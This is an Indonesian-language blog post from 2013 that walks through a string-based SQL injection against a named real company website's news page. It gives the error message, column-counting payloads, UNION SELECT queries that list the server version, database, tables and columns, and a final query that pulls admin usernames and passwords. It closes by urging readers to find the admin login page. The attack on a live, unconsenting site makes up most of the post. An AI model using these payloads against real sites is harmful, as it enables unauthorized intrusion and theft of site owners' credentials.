24 April 2013

Filled Under:

String Based SQL injection



Tujuan untuk pembelajaran yah, khususnya buat pemula seperti saya. Kali ini saya sharing bagaimana ketika melakukan string based sql injection. Pada aplikasinya, kadang sql injection tidak sesuai dengan tutor atau bacaan yang kita dapatkan. Semuanya adalah hasil pengalaman yang mengasah kemampuan kita. Akan tetapi, tutor adalah sebagai walktrough kita pastinya :)

Bug SQLi : http://www.genero.co.id/index.php?page=news-detail&id=36

Message Error :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''36'' AND news2_lang_id = 1' at line 1

Namun saat order, pagenya gak brubah2, tetap normal. nah disini masalahnya, ru langkah awal ud bikin problem. klw yg gak sabaran, yahh.. pake tools aja gitu. Tapi alangkah baiknya kita usaha "No Shortcut to sains"

news-detail&id=36 order by 1-- (1,2,3 dst, gagal son ..)
news-detail&id=36 group by 1-- (1,2,3 dst, gagal maning ..)
news-detail&id=36 having 1=2 (1,2,3 dst, gagal juga)

Failed .. pagenya tetap normal.

Solusinya saat inject :
index.php?page=news-detail&id=36' order by 7--+

berhasil .. cihuyy)
catatan : tambah koma (') id=36'
trus : id=36' order by 7--+
akhirannya pake : --+ atau --+-

news-detail&id=36'+order+by+1--+ true
news-detail&id=36'+order+by+2--+ true
news-detail&id=36'+order+by+3--+ true
news-detail&id=36'+order+by+4--+ true
news-detail&id=36'+order+by+5--+ true
news-detail&id=36'+order+by+6--+ true
news-detail&id=36'+order+by+7--+ False ..

Berarti column count normalnya pada angka 6
Langkah selanjutnya yaitu mencari angka ajaib yang bisa kita sisipkan kode inject kita nantinya.

news-detail&id=-36'+UNION+SELECT+1,2,3,4,5,6--+




Nongol angka ajaib 4 ( Valid String Column )

Skrng cari informasi pada servernya :
- version()
- @@datadir
- @@hostname
- user

Jadinya begono :
news-detail&id=-36'+UNION+SELECT+1,2,3,group_concat(database(),0x0a,version(),0x0a,@@datadir,0x0a,@@hostname,0x0a,user()),5,6--+



Trus cari tablenya :
news-detail&id=-36'+UNION+SELECT+1,2,3,group_concat(table_name),5,6+from+information_schema.tables where table_schema=database()--+



Asumsi saya kita langsung ke kolom admin :
news-detail&id=-36'+UNION+SELECT+1,2,3,group_concat(column_name),5,6+from+information_schema.columns where table_name=0x61646d696e--+



0x61646d696e = admin
Trakhir langkah kita yakni tinggal mencari data account adminnya :
news-detail&id=-36'+UNION+SELECT+1,2,3,group_concat(user,0x3a,pass),5,6+from+admin--+

Sebenarnya tutornya gak lengkap dan terkesan singkat, cz saya cuma mau jelasin klw kesulitan saat lakukan "order" .. Skali lagi, mohon maaf klw kurang berkenan.

Monggo cari admin pagenya





0 komentar: